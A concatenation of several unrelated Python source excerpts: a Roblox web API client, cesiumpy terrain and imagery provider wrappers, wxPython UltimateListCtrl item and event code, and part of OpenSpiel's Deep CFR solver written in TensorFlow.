params={"universeIds": universe_ids},
)
universes_data = universes_response.json()["data"]
return [
Universe(client=self, data=universe_data)
for universe_data in universes_data
]
async def get_universe(self, universe_id: int) -> Universe:
"""
Gets a universe with the passed ID.
Arguments:
universe_id: A Roblox universe ID.
Returns:
A Universe.
"""
universes = await self.get_universes(universe_ids=[universe_id])
try:
return universes[0]
except IndexError:
raise UniverseNotFound("Invalid universe.") from None
def get_base_universe(self, universe_id: int) -> BaseUniverse:
"""
Gets a base universe.
!!! note
This method does not send any requests - it just generates an object.
For more information on bases, please see [Bases](/bases).
Arguments:
universe_id: A Roblox universe ID.
Returns:
A BaseUniverse.
"""
return BaseUniverse(client=self, universe_id=universe_id)
# Places
async def get_places(self, place_ids: List[int]) -> List[Place]:
"""
Grabs a list of places corresponding to each ID in the list.
Arguments:
place_ids: A list of Roblox place IDs.
Returns:
A list of Places.
"""
places_response = await self._requests.get(
url=self._url_generator.get_url(
"games", f"v1/games/multiget-place-details"
),
params={"placeIds": place_ids},
)
places_data = places_response.json()
return [
Place(client=self, data=place_data) for place_data in places_data
]
async def get_place(self, place_id: int) -> Place:
"""
Gets a place with the passed ID.
Arguments:
place_id: A Roblox place ID.
Returns:
A Place.
"""
places = await self.get_places(place_ids=[place_id])
try:
return places[0]
except IndexError:
raise PlaceNotFound("Invalid place.") from None
def get_base_place(self, place_id: int) -> BasePlace:
"""
Gets a base place.
!!! note
This method does not send any requests - it just generates an object.
For more information on bases, please see [Bases](/bases).
Arguments:
place_id: A Roblox place ID.
Returns:
A BasePlace.
"""
return BasePlace(client=self, place_id=place_id)
# Assets
async def get_asset(self, asset_id: int) -> EconomyAsset:
"""
Gets an asset with the passed ID.
Arguments:
asset_id: A Roblox asset ID.
Returns:
An Asset.
"""
try:
asset_response = await self._requests.get(
url=self._url_generator.get_url(
"economy", f"v2/assets/{asset_id}/details"
)
)
except BadRequest as exception:
raise AssetNotFound(
message="Invalid asset.",
response=exception.response
) from None
asset_data = asset_response.json()
return EconomyAsset(client=self, data=asset_data)
def get_base_asset(self, asset_id: int) -> BaseAsset:
"""
Gets a base asset.
!!! note
This method does not send any requests - | |
#!/usr/bin/env python
# coding: utf-8
from __future__ import unicode_literals
import traitlets
import cesiumpy
from cesiumpy.base import _CesiumObject
import cesiumpy.entities.cartesian as cartesian
import cesiumpy.util.common as com
from cesiumpy.util.trait import MaybeTrait
class _CesiumProvider(_CesiumObject):
_props = ['url']
def __repr__(self):
if self.url is None:
return super(_CesiumProvider, self).__repr__()
else:
rep = """{klass}(url="{url}")"""
return rep.format(klass=self.__class__.__name__, url=self.url)
@property
def script(self):
props = super(_CesiumProvider, self).script
rep = """new {klass}({props})"""
return rep.format(klass=self._klass, props=props)
# --------------------------------------------------
# Terrain Provider
# --------------------------------------------------
class TerrainProvider(_CesiumProvider):
_props = ['url', 'proxy', 'ellipsoid', 'credit']
url = traitlets.Unicode()
credit = traitlets.Unicode(allow_none=True)
def __init__(self, url=None, proxy=None, tilingScheme=None,
ellipsoid=None, credit=None):
self.url = url
self.proxy = com.notimplemented(proxy)
self.tilingScheme = com.notimplemented(tilingScheme)
self.ellipsoid = com.notimplemented(ellipsoid)
self.credit = credit
class ArcGisImageServerTerrainProvider(TerrainProvider):
"""
ArcGisImageServerTerrainProvider
Parameters
----------
url : str
The URL of the ArcGIS ImageServer service.
token : str
The authorization token to use to connect to the service.
proxy : Proxy
A proxy to use for requests. This object is expected to have a getURL function which returns the proxied URL, if needed.
tilingScheme : TilingScheme, default new GeographicTilingScheme()
The tiling scheme specifying how the terrain is broken into tiles. If this parameter is not provided, a GeographicTilingScheme is used.
ellipsoid : Ellipsoid
The ellipsoid. If the tilingScheme is specified, this parameter is ignored and the tiling scheme's ellipsoid is used instead. If neither parameter is specified, the WGS84 ellipsoid is used.
credit : Credit or str
The credit, which will is displayed on the canvas.
"""
_props = ['url', 'token', 'proxy', 'tilingScheme', 'ellipsoid', 'credit']
token = traitlets.Unicode(allow_none=True)
def __init__(self, url, token, proxy=None, tilingScheme=None,
ellipsoid=None, credit=None):
super(ArcGisImageServerTerrainProvider, self).__init__(url=url, proxy=proxy, tilingScheme=tilingScheme,
ellipsoid=ellipsoid, credit=credit)
self.token = token
class CesiumTerrainProvider(TerrainProvider):
"""
CesiumTerrainProvider
Parameters
----------
url : str
The URL of the Cesium terrain server.
proxy : Proxy
A proxy to use for requests. This object is expected to have a getURL function which returns the proxied URL, if needed.
requestVertexNormals : bool, default False
Flag that indicates if the client should request additional lighting information from the server, in the form of per vertex normals if available.
requestWaterMask : bool, default False
Flag that indicates if the client should request per tile water masks from the server, if available.
ellipsoid : Ellipsoid
The ellipsoid. If not specified, the WGS84 ellipsoid is used.
credit : Credit or str
A credit for the data source, which is displayed on the canvas.
"""
_props = ['url', 'proxy', 'requestVertexNormals', 'requestWaterMask', 'ellipsoid', 'credit']
requestVertexNormals = traitlets.Bool(allow_none=True)
requestWaterMask = traitlets.Bool(allow_none=True)
def __init__(self, url, proxy=None, requestVertexNormals=None,
requestWaterMask=None, ellipsoid=None, credit=None):
super(CesiumTerrainProvider, self).__init__(url=url, proxy=proxy,
ellipsoid=ellipsoid, credit=credit)
self.requestVertexNormals = requestVertexNormals
self.requestWaterMask = requestWaterMask
class EllipsoidTerrainProvider(TerrainProvider):
"""
EllipsoidTerrainProvider
Parameters
----------
tilingScheme : TilingScheme, default new GeographicTilingScheme()
The tiling scheme specifying how the ellipsoidal surface is broken into tiles. If this parameter is not provided, a GeographicTilingScheme is used.
ellipsoid : Ellipsoid
The ellipsoid. If the tilingScheme is specified, this parameter is ignored and the tiling scheme's ellipsoid is used instead. If neither parameter is specified, the WGS84 ellipsoid is used.
"""
url = traitlets.Unicode(allow_none=True)
def __init__(self, tilingScheme=None, ellipsoid=None):
super(EllipsoidTerrainProvider, self).__init__(tilingScheme=tilingScheme,
ellipsoid=ellipsoid)
class VRTheWorldTerrainProvider(TerrainProvider):
"""
VRTheWorldTerrainProvider
Parameters
----------
url : str
The URL of the VR-TheWorld TileMap.
proxy : Proxy
A proxy to use for requests. This object is expected to have a getURL function which returns the proxied URL, if needed.
ellipsoid : Ellipsoid, default Ellipsoid.WGS84
The ellipsoid. If this parameter is not specified, the WGS84 ellipsoid is used.
credit : Credit or str
A credit for the data source, which is displayed on the canvas.
"""
def __init__(self, url, proxy=None, ellipsoid=None, credit=None):
super(VRTheWorldTerrainProvider, self).__init__(url=url, proxy=proxy,
ellipsoid=ellipsoid,
credit=credit)
# --------------------------------------------------
# Imagery Provider
# --------------------------------------------------
class ImageryProvider(_CesiumProvider):
_props = ['url', 'fileExtension', 'rectangle', 'tillingScheme', 'ellipsoid',
'tileWidth', 'tileHeight', 'tileDiscardPolicy',
'minimumLevel', 'maximumLevel',
'credit', 'proxy', 'subdomains']
url = traitlets.Unicode(allow_none=True)
fileExtension = traitlets.Unicode(allow_none=True)
rectangle = MaybeTrait(klass=cartesian.Rectangle, allow_none=True)
tileWidth = traitlets.Float(allow_none=True)
tileHeight = traitlets.Float(allow_none=True)
minimumLevel = traitlets.Float(allow_none=True)
maximumLevel = traitlets.Float(allow_none=True)
credit = traitlets.Unicode(allow_none=True)
def __init__(self, url=None, fileExtension=None, rectangle=None, tillingScheme=None,
ellipsoid=None, tileWidth=None, tileHeight=None, tileDiscardPolicy=None,
minimumLevel=None, maximumLevel=None, credit=None, proxy=None, subdomains=None):
self.url = url
self.fileExtension = fileExtension
self.rectangle = rectangle
self.tillingScheme = com.notimplemented(tillingScheme)
self.ellipsoid = com.notimplemented(ellipsoid)
self.tileWidth = tileWidth
self.tileHeight = tileHeight
self.tileDiscardPolicy = com.notimplemented(tileDiscardPolicy)
self.minimumLevel = minimumLevel
self.maximumLevel = maximumLevel
self.credit = credit
self.proxy = com.notimplemented(proxy)
self.subdomains = com.notimplemented(subdomains)
class ArcGisMapServerImageryProvider(ImageryProvider):
"""
ArcGisImageServerTerrainProvider
Parameters
----------
url : str
The URL of the ArcGIS MapServer service.
token : str
The ArcGIS token used to authenticate with the ArcGIS MapServer service.
usePreCachedTilesIfAvailable : bool, default True
If true, the server's pre-cached tiles are used if they are available. If false, any pre-cached tiles are ignored and the 'export' service is used.
layers : str
A comma-separated list of the layers to show, or undefined if all layers should be shown.
enablePickFeatures : bool, default True
If true, ArcGisMapServerImageryProvider#pickFeatures will invoke the Identify service on the MapServer and return the features included in the response. If false, ArcGisMapServerImageryProvider#pickFeatures will immediately return undefined (indicating no pickable features) without communicating with the server. Set this property to false if you don't want this provider's features to be pickable.
rectangle : Rectangle, default Rectangle.MAX_VALUE
The rectangle of the layer. This parameter is ignored when accessing a tiled layer.
tilingScheme : TilingScheme, default new GeographicTilingScheme()
The tiling scheme to use to divide the world into tiles. This parameter is ignored when accessing a tiled server.
ellipsoid : Ellipsoid
The ellipsoid. If the tilingScheme is specified and used, this parameter is ignored and the tiling scheme's ellipsoid is used instead. If neither parameter is specified, the WGS84 ellipsoid is used.
tileWidth : int, default 256
The width of each tile in pixels. This parameter is ignored when accessing a tiled server.
tileHeight : int, default 256
The height of each tile in pixels. This parameter is ignored when accessing a tiled server.
tileDiscardPolicy : TileDiscardPolicy
The policy that determines if a tile is invalid and should be discarded. If this value is not specified, a default DiscardMissingTileImagePolicy is used for tiled map servers, and a NeverTileDiscardPolicy is used for non-tiled map servers. In the former case, we request tile 0,0 at the maximum tile level and check pixels (0,0), (200,20), (20,200), (80,110), and (160, 130). If all of these pixels are transparent, the discard check is disabled and no tiles are discarded. If any of them have a non-transparent color, any tile that has the same values in these pixel locations is discarded. The end result of these defaults should be correct tile discarding for a standard ArcGIS Server. To ensure that no tiles are discarded, construct and pass a NeverTileDiscardPolicy for this parameter.
maximumLevel : int
The maximum tile level to request, or undefined if there is no maximum. This parameter is ignored when accessing a tiled server.
proxy : Proxy
A proxy to use for requests. This object is expected to have a getURL function which returns the proxied URL, if needed.
"""
_props = ['url', 'token', 'usePreCachedTilesIfAvailable', 'layers',
'enablePickFeatures', 'rectangle', 'tillingScheme', 'ellipsoid',
'tileWidth', 'tileHeight', 'tileDiscardPolicy', 'minimumLevel',
'proxy']
token = traitlets.Unicode(allow_none=True)
usePreCachedTilesIfAvailable = traitlets.Bool(allow_none=True)
layers = traitlets.Unicode(allow_none=True)
enablePickFeatures = traitlets.Bool(allow_none=True)
def __init__(self, url, token=None, usePreCachedTilesIfAvailable=None,
layers=None, enablePickFeatures=None, rectangle=None, tillingScheme=None,
ellipsoid=None, tileWidth=None, tileHeight=None, tileDiscardPolicy=None,
minimumLevel=None, proxy=None):
super(ArcGisMapServerImageryProvider, self).__init__(url=url, rectangle=rectangle,
tillingScheme=tillingScheme,
ellipsoid=ellipsoid,
tileWidth=tileWidth,
tileHeight=tileHeight,
tileDiscardPolicy=tileDiscardPolicy,
minimumLevel=minimumLevel, proxy=proxy)
self.token = token
self.usePreCachedTilesIfAvailable = usePreCachedTilesIfAvailable
self.layers = layers
self.enablePickFeatures = enablePickFeatures
class BingMapsImageryProvider(ImageryProvider):
"""
BingMapsImageryProvider
Parameters
----------
url : str
The url of the Bing Maps server hosting the imagery.
key : str
The Bing Maps key for your application, which can be created at https://www.bingmapsportal.com/. If this parameter is not provided, BingMapsApi.defaultKey is used. If BingMapsApi.defaultKey is undefined as well, a message is written to the console reminding you that you must create and supply a Bing Maps key as soon as possible. Please do not deploy an application that uses Bing Maps imagery without creating a separate key for your application.
tileProtocol : str
The protocol to use when loading tiles, e.g. 'http:' or 'https:'. By default, tiles are loaded using the same protocol as | |
kind
def GetKind(self):
"""
Returns the item kind.
:see: :meth:`~UltimateListItem.SetKind` for a valid list of item's kind.
"""
return self._kind
def IsChecked(self):
"""Return whether the item is checked or not."""
return self._checked
def Check(self, checked=True):
"""
Checks/unchecks an item.
:param `checked`: ``True`` to check an item, ``False`` to uncheck it.
:note: This method is meaningful only for check and radio items.
"""
self._mask |= ULC_MASK_CHECK
self._checked = checked
def IsShown(self):
"""Return ``True`` if the item is shown, or ``False`` if it is hidden."""
return self._isColumnShown
def SetShown(self, shown=True):
"""
Sets an item as shown/hidden.
:param `shown`: ``True`` to show the item, ``False`` to hide it.
"""
self._mask |= ULC_MASK_SHOWN
self._isColumnShown = shown
def SetHyperText(self, hyper=True):
"""
Sets whether the item is hypertext or not.
:param `hyper`: ``True`` to set hypertext behaviour, ``False`` otherwise.
"""
self._mask |= ULC_MASK_HYPERTEXT
self._hypertext = hyper
def SetVisited(self, visited=True):
"""
Sets whether an hypertext item was visited or not.
:param `visited`: ``True`` to set a hypertext item as visited, ``False`` otherwise.
"""
self._mask |= ULC_MASK_HYPERTEXT
self._visited = visited
def GetVisited(self):
"""Return whether an hypertext item was visited or not."""
return self._visited
def IsHyperText(self):
"""Return whether the item is hypetext or not."""
return self._hypertext
def SetWindow(self, wnd, expand=False):
"""
Sets the window associated to the item.
:param `wnd`: a non-toplevel window to be displayed next to the item;
:param `expand`: ``True`` to expand the column where the item/subitem lives,
so that the window will be fully visible.
"""
self._mask |= ULC_MASK_WINDOW
self._wnd = wnd
listCtrl = wnd.GetParent()
mainWin = listCtrl._mainWin
wnd.Reparent(mainWin)
if wnd.GetSizer(): # the window is a complex one hold by a sizer
size = wnd.GetBestSize()
else: # simple window, without sizers
size = wnd.GetSize()
# We have to bind the wx.EVT_SET_FOCUS for the associated window
# No other solution to handle the focus changing from an item in
# UltimateListCtrl and the window associated to an item
# Do better strategies exist?
self._wnd.Bind(wx.EVT_SET_FOCUS, self.OnSetFocus)
self._windowsize = size
# The window is enabled only if the item is enabled
self._wnd.Enable(self._enabled)
self._windowenabled = self._enabled
self._expandWin = expand
mainWin._hasWindows = True
mainWin._itemWithWindow.append(self)
# This is needed as otherwise widgets that should be invisible
# are shown at the top left corner of ULC
mainWin.HideWindows()
mainWin.Refresh()
def GetWindow(self):
"""Return the window associated to the item."""
return self._wnd
def DeleteWindow(self):
"""Deletes the window associated to the item (if any)."""
if self._wnd:
listCtrl = self._wnd.GetParent()
if self in listCtrl._itemWithWindow:
listCtrl._itemWithWindow.remove(self)
self._wnd.Destroy()
self._wnd = None
def GetWindowEnabled(self):
"""Return whether the associated window is enabled or not."""
if not self._wnd:
raise Exception("\nERROR: This Item Has No Window Associated")
return self._windowenabled
def SetWindowEnabled(self, enable=True):
"""
Sets whether the associated window is enabled or not.
:param `enable`: ``True`` to enable the associated window, ``False`` to disable it.
"""
if not self._wnd:
raise Exception("\nERROR: This Item Has No Window Associated")
self._windowenabled = enable
self._wnd.Enable(enable)
def GetWindowSize(self):
"""Return the associated window size."""
return self._windowsize
def SetCustomRenderer(self, renderer):
"""
Associate a custom renderer to this item.
:param `renderer`: a class able to correctly render the item.
:note: the renderer class **must** implement the methods `DrawSubItem`,
`GetLineHeight` and `GetSubItemWidth`.
"""
self._mask |= ULC_MASK_RENDERER
self._customRenderer = renderer
def GetCustomRenderer(self):
"""Return the custom renderer associated with this item (if any)."""
return self._customRenderer
def SetOverFlow(self, over=True):
"""
Sets the item in the overflow/non overflow state.
An item/subitem may overwrite neighboring items/subitems if its text would
not normally fit in the space allotted to it.
:param `over`: ``True`` to set the item in a overflow state, ``False`` otherwise.
"""
self._mask |= ULC_MASK_OVERFLOW
self._overFlow = over
def GetOverFlow(self):
"""
Returns if the item is in the overflow state.
An item/subitem may overwrite neighboring items/subitems if its text would
not normally fit in the space allotted to it.
"""
return self._overFlow
def Init(self):
"""Initializes an empty :class:`UltimateListItem`."""
self._mask = 0
self._itemId = 0
self._col = 0
self._state = 0
self._stateMask = 0
self._image = []
self._data = 0
self._pyData = None
self._text = ""
self._tooltip = ""
self._format = ULC_FORMAT_CENTRE
self._width = 0
self._colour = wx.Colour(0, 0, 0)
self._font = wx.SystemSettings.GetFont(wx.SYS_DEFAULT_GUI_FONT)
self._kind = 0
self._checked = False
self._enabled = True
self._hypertext = False # indicates if the item is hypertext
self._visited = False # visited state for an hypertext item
self._wnd = None
self._windowenabled = False
self._windowsize = wx.Size()
self._isColumnShown = True
self._customRenderer = None
self._overFlow = False
self._footerChecked = False
self._footerFormat = ULC_FORMAT_CENTRE
self._footerImage = []
self._footerKind = 0
self._footerText = ""
self._expandWin = False
def SetFooterKind(self, kind):
"""
Sets the footer item kind.
:see: :meth:`~UltimateListItem.SetKind` for a list of valid items kind.
"""
self._mask |= ULC_MASK_FOOTER_KIND
self._footerKind = kind
def GetFooterKind(self):
"""
Returns the footer item kind.
:see: :meth:`~UltimateListItem.SetKind` for a list of valid items kind.
"""
return self._footerKind
def IsFooterChecked(self):
"""Return whether the footer item is checked or not."""
return self._footerChecked
def CheckFooter(self, checked=True):
"""
Checks/unchecks a footer item.
:param `checked`: ``True`` to check an item, ``False`` to uncheck it.
:note: This method is meaningful only for check and radio footer items.
"""
self._mask |= ULC_MASK_FOOTER_CHECK
self._footerChecked = checked
def GetFooterFormat(self):
"""Return the footer item format."""
return self._footerFormat
def SetFooterFormat(self, format):
"""
Sets the footer item format.
:param `format`: the footer item format.
"""
self._mask |= ULC_MASK_FOOTER_FORMAT
self._footerFormat = format
def GetFooterText(self):
"""Return the footer text."""
return self._footerText
def SetFooterText(self, text):
"""
Sets the text label for the footer item.
:param `text`: the text label for the footer item.
"""
self._mask |= ULC_MASK_FOOTER_TEXT
self._footerText = text
def GetFooterImage(self):
"""
Returns the zero-based index of the image associated with the footer item into
the image list.
"""
return self._footerImage
def SetFooterImage(self, image):
"""
Sets the zero-based index of the image associated with the footer item into the
image list.
:param `image`: the zero-based index of the image associated with the footer item
into the image list.
"""
self._mask |= ULC_MASK_FOOTER_IMAGE
self._footerImage = to_list(image)
def GetFooterTextColour(self):
"""Return the footer item text colour."""
return (self.HasAttributes() and [self._attr.GetFooterTextColour()] or [wx.NullColour])[0]
def GetFooterBackgroundColour(self):
"""Return the footer item background colour."""
return (self.HasAttributes() and [self._attr.GetFooterBackgroundColour()] or [wx.NullColour])[0]
def GetFooterFont(self):
"""Return the footer item font."""
return (self.HasAttributes() and [self._attr.GetFooterFont()] or [wx.NullFont])[0]
def SetFooterAlign(self, align):
"""
Sets the alignment for the footer item.
:see: :meth:`~UltimateListItem.SetAlign` for a list of valid alignment flags.
"""
self._mask |= ULC_MASK_FOOTER_FORMAT
self._footerFormat = align
def GetFooterAlign(self):
"""
Returns the alignment for the footer item.
:see: :meth:`~UltimateListItem.SetAlign` for a list of valid alignment flags.
"""
return self._footerFormat
def OnSetFocus(self, event):
"""
Handles the ``wx.EVT_SET_FOCUS`` event for the window associated to an item.
:param `event`: a :class:`FocusEvent` event to be processed.
"""
listCtrl = self._wnd.GetParent()
select = listCtrl.GetItemState(self._itemId, ULC_STATE_SELECTED)
# If the window is associated to an item that currently is selected
# (has focus) we don't kill the focus. Otherwise we do it.
if not select:
listCtrl._hasFocus = False
else:
listCtrl._hasFocus = True
listCtrl.SetFocus()
event.Skip()
# ----------------------------------------------------------------------------
# ListEvent - the event class for the UltimateListCtrl notifications
# ----------------------------------------------------------------------------
class CommandListEvent(wx.PyCommandEvent):
"""
A list event holds information about events associated with :class:`UltimateListCtrl`
objects.
"""
def __init__(self, commandTypeOrEvent=None, winid=0):
"""
Default class constructor.
For internal use: do not call it in your code!
:param `commandTypeOrEvent`: the event type or another instance of
:class:`PyCommandEvent`;
:param `winid`: the event identifier.
"""
if type(commandTypeOrEvent) == types.IntType:
wx.PyCommandEvent.__init__(self, commandTypeOrEvent, winid)
self.m_code = 0
self.m_oldItemIndex = 0
self.m_itemIndex = 0
self.m_col = 0
self.m_pointDrag = wx.Point()
self.m_item = UltimateListItem()
self.m_editCancelled = False
else:
wx.PyCommandEvent.__init__(self, commandTypeOrEvent.GetEventType(), commandTypeOrEvent.GetId())
self.m_code = commandTypeOrEvent.m_code
self.m_oldItemIndex = commandTypeOrEvent.m_oldItemIndex
self.m_itemIndex = commandTypeOrEvent.m_itemIndex
self.m_col = commandTypeOrEvent.m_col
self.m_pointDrag = commandTypeOrEvent.m_pointDrag
self.m_item = commandTypeOrEvent.m_item
self.m_editCancelled = commandTypeOrEvent.m_editCancelled
def GetKeyCode(self):
"""Return the key code if the event is a keypress event."""
return self.m_code
def GetIndex(self):
"""Return | |
<reponame>mcx/open_spiel
# Copyright 2019 DeepMind Technologies Limited
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Implements Deep CFR Algorithm.
See https://arxiv.org/abs/1811.00164.
The algorithm defines an `advantage` and `strategy` networks that compute
advantages used to do regret matching across information sets and to approximate
the strategy profiles of the game. To train these networks a reservoir buffer
(other data structures may be used) memory is used to accumulate samples to
train the networks.
"""
import collections
import random
import numpy as np
import tensorflow.compat.v1 as tf
from open_spiel.python import policy
from open_spiel.python import simple_nets
import pyspiel
# Temporarily Disable TF2 behavior until we update the code.
tf.disable_v2_behavior()
AdvantageMemory = collections.namedtuple(
"AdvantageMemory", "info_state iteration advantage action")
StrategyMemory = collections.namedtuple(
"StrategyMemory", "info_state iteration strategy_action_probs")
# TODO(author3) Refactor into data structures lib.
class ReservoirBuffer(object):
"""Allows uniform sampling over a stream of data.
This class supports the storage of arbitrary elements, such as observation
tensors, integer actions, etc.
See https://en.wikipedia.org/wiki/Reservoir_sampling for more details.
"""
def __init__(self, reservoir_buffer_capacity):
self._reservoir_buffer_capacity = reservoir_buffer_capacity
self._data = []
self._add_calls = 0
def add(self, element):
"""Potentially adds `element` to the reservoir buffer.
Args:
element: data to be added to the reservoir buffer.
"""
if len(self._data) < self._reservoir_buffer_capacity:
self._data.append(element)
else:
idx = np.random.randint(0, self._add_calls + 1)
if idx < self._reservoir_buffer_capacity:
self._data[idx] = element
self._add_calls += 1
def sample(self, num_samples):
"""Returns `num_samples` uniformly sampled from the buffer.
Args:
num_samples: `int`, number of samples to draw.
Returns:
An iterable over `num_samples` random elements of the buffer.
Raises:
ValueError: If there are less than `num_samples` elements in the buffer
"""
if len(self._data) < num_samples:
raise ValueError("{} elements could not be sampled from size {}".format(
num_samples, len(self._data)))
return random.sample(self._data, num_samples)
def clear(self):
self._data = []
self._add_calls = 0
def __len__(self):
return len(self._data)
def __iter__(self):
return iter(self._data)
class DeepCFRSolver(policy.Policy):
"""Implements a solver for the Deep CFR Algorithm.
See https://arxiv.org/abs/1811.00164.
Define all networks and sampling buffers/memories. Derive losses & learning
steps. Initialize the game state and algorithmic variables.
Note: batch sizes default to `None` implying that training over the full
dataset in memory is done by default. To sample from the memories you
may set these values to something less than the full capacity of the
memory.
"""
def __init__(self,
session,
game,
policy_network_layers=(256, 256),
advantage_network_layers=(128, 128),
num_iterations: int = 100,
num_traversals: int = 20,
learning_rate: float = 1e-4,
batch_size_advantage=None,
batch_size_strategy=None,
memory_capacity: int = int(1e6),
policy_network_train_steps: int = 1,
advantage_network_train_steps: int = 1,
reinitialize_advantage_networks: bool = True):
"""Initialize the Deep CFR algorithm.
Args:
session: (tf.Session) TensorFlow session.
game: Open Spiel game.
policy_network_layers: (list[int]) Layer sizes of strategy net MLP.
advantage_network_layers: (list[int]) Layer sizes of advantage net MLP.
num_iterations: Number of iterations.
num_traversals: Number of traversals per iteration.
learning_rate: Learning rate.
batch_size_advantage: (int or None) Batch size to sample from advantage
memories.
batch_size_strategy: (int or None) Batch size to sample from strategy
memories.
memory_capacity: Number of samples that can be stored in memory.
policy_network_train_steps: Number of policy network training steps (per
iteration).
advantage_network_train_steps: Number of advantage network training steps
(per iteration).
reinitialize_advantage_networks: Whether to re-initialize the
advantage network before training on each iteration.
"""
all_players = list(range(game.num_players()))
super(DeepCFRSolver, self).__init__(game, all_players)
self._game = game
if game.get_type().dynamics == pyspiel.GameType.Dynamics.SIMULTANEOUS:
# `_traverse_game_tree` does not take into account this option.
raise ValueError("Simulatenous games are not supported.")
self._session = session
self._batch_size_advantage = batch_size_advantage
self._batch_size_strategy = batch_size_strategy
self._policy_network_train_steps = policy_network_train_steps
self._advantage_network_train_steps = advantage_network_train_steps
self._num_players = game.num_players()
self._root_node = self._game.new_initial_state()
# TODO(author6) Allow embedding size (and network) to be specified.
self._embedding_size = len(self._root_node.information_state_tensor(0))
self._num_iterations = num_iterations
self._num_traversals = num_traversals
self._reinitialize_advantage_networks = reinitialize_advantage_networks
self._num_actions = game.num_distinct_actions()
self._iteration = 1
self._environment_steps = 0
# Create required TensorFlow placeholders to perform the Q-network updates.
self._info_state_ph = tf.placeholder(
shape=[None, self._embedding_size],
dtype=tf.float32,
name="info_state_ph")
self._info_state_action_ph = tf.placeholder(
shape=[None, self._embedding_size + 1],
dtype=tf.float32,
name="info_state_action_ph")
self._action_probs_ph = tf.placeholder(
shape=[None, self._num_actions],
dtype=tf.float32,
name="action_probs_ph")
self._iter_ph = tf.placeholder(
shape=[None, 1], dtype=tf.float32, name="iter_ph")
self._advantage_ph = []
for p in range(self._num_players):
self._advantage_ph.append(
tf.placeholder(
shape=[None, self._num_actions],
dtype=tf.float32,
name="advantage_ph_" + str(p)))
# Define strategy network, loss & memory.
self._strategy_memories = ReservoirBuffer(memory_capacity)
self._policy_network = simple_nets.MLP(self._embedding_size,
list(policy_network_layers),
self._num_actions)
action_logits = self._policy_network(self._info_state_ph)
# Illegal actions are handled in the traversal code where expected payoff
# and sampled regret is computed from the advantage networks.
self._action_probs = tf.nn.softmax(action_logits)
self._loss_policy = tf.reduce_mean(
tf.losses.mean_squared_error(
labels=tf.math.sqrt(self._iter_ph) * self._action_probs_ph,
predictions=tf.math.sqrt(self._iter_ph) * self._action_probs))
self._optimizer_policy = tf.train.AdamOptimizer(learning_rate=learning_rate)
self._learn_step_policy = self._optimizer_policy.minimize(self._loss_policy)
# Define advantage network, loss & memory. (One per player)
self._advantage_memories = [
ReservoirBuffer(memory_capacity) for _ in range(self._num_players)
]
self._advantage_networks = [
simple_nets.MLP(self._embedding_size, list(advantage_network_layers),
self._num_actions) for _ in range(self._num_players)
]
self._advantage_outputs = [
self._advantage_networks[i](self._info_state_ph)
for i in range(self._num_players)
]
self._loss_advantages = []
self._optimizer_advantages = []
self._learn_step_advantages = []
for p in range(self._num_players):
self._loss_advantages.append(
tf.reduce_mean(
tf.losses.mean_squared_error(
labels=tf.math.sqrt(self._iter_ph) * self._advantage_ph[p],
predictions=tf.math.sqrt(self._iter_ph) *
self._advantage_outputs[p])))
self._optimizer_advantages.append(
tf.train.AdamOptimizer(learning_rate=learning_rate))
self._learn_step_advantages.append(self._optimizer_advantages[p].minimize(
self._loss_advantages[p]))
@property
def advantage_buffers(self):
return self._advantage_memories
@property
def strategy_buffer(self):
return self._strategy_memories
def clear_advantage_buffers(self):
for p in range(self._num_players):
self._advantage_memories[p].clear()
def reinitialize_advantage_networks(self):
for p in range(self._num_players):
self.reinitialize_advantage_network(p)
def reinitialize_advantage_network(self, player):
self._session.run(
tf.group(*[
var.initializer
for var in self._advantage_networks[player].variables
]))
def solve(self):
"""Solution logic for Deep CFR."""
advantage_losses = collections.defaultdict(list)
for _ in range(self._num_iterations):
for p in range(self._num_players):
for _ in range(self._num_traversals):
self._traverse_game_tree(self._root_node, p)
if self._reinitialize_advantage_networks:
# Re-initialize advantage network for player and train from scratch.
self.reinitialize_advantage_network(p)
advantage_losses[p].append(self._learn_advantage_network(p))
self._iteration += 1
# Train policy network.
policy_loss = self._learn_strategy_network()
return self._policy_network, advantage_losses, policy_loss
def get_environment_steps(self):
return self._environment_steps
def _traverse_game_tree(self, state, player):
"""Performs a traversal of the game tree.
Over a traversal the advantage and strategy memories are populated with
computed advantage values and matched regrets respectively.
Args:
state: Current OpenSpiel game state.
player: (int) Player index for this traversal.
Returns:
Recursively returns expected payoffs for each action.
"""
self._environment_steps += 1
expected_payoff = collections.defaultdict(float)
if state.is_terminal():
# Terminal state get returns.
return state.returns()[player]
elif state.is_chance_node():
# If this is a chance node, sample an action
action = np.random.choice([i[0] for i in state.chance_outcomes()])
return self._traverse_game_tree(state.child(action), player)
elif state.current_player() == player:
sampled_regret = collections.defaultdict(float)
# Update the policy over the info set & actions via regret matching.
_, strategy = self._sample_action_from_advantage(state, player)
for action in state.legal_actions():
expected_payoff[action] = self._traverse_game_tree(
state.child(action), player)
cfv = 0
for a_ in state.legal_actions():
cfv += strategy[a_] * expected_payoff[a_]
for action in state.legal_actions():
sampled_regret[action] = expected_payoff[action]
sampled_regret[action] -= cfv
sampled_regret_arr = [0] * self._num_actions
for action in sampled_regret:
sampled_regret_arr[action] = sampled_regret[action]
self._advantage_memories[player].add(
AdvantageMemory(state.information_state_tensor(), self._iteration,
sampled_regret_arr, action))
return cfv
else:
other_player = state.current_player()
_, strategy = self._sample_action_from_advantage(state, other_player)
# Recompute distribution dor numerical errors.
probs = np.array(strategy)
probs /= probs.sum()
sampled_action = np.random.choice(range(self._num_actions), p=probs)
self._strategy_memories.add(
StrategyMemory(
state.information_state_tensor(other_player), self._iteration,
strategy))
return self._traverse_game_tree(state.child(sampled_action), player)
def _sample_action_from_advantage(self, state, player):
"""Returns an info state policy by applying regret-matching.
Args:
state: Current OpenSpiel game state.
player: (int) Player index over which to compute regrets.
Returns:
1. (list) Advantage values for info state actions indexed by action.
2. (list) Matched regrets, prob for actions indexed by action.
"""
info_state = state.information_state_tensor(player)
legal_actions = state.legal_actions(player)
advantages_full = self._session.run(
self._advantage_outputs[player],
feed_dict={self._info_state_ph: np.expand_dims(info_state, axis=0)})[0]
advantages = [max(0., advantage) for advantage in advantages_full]
cumulative_regret = np.sum([advantages[action] for action in legal_actions])
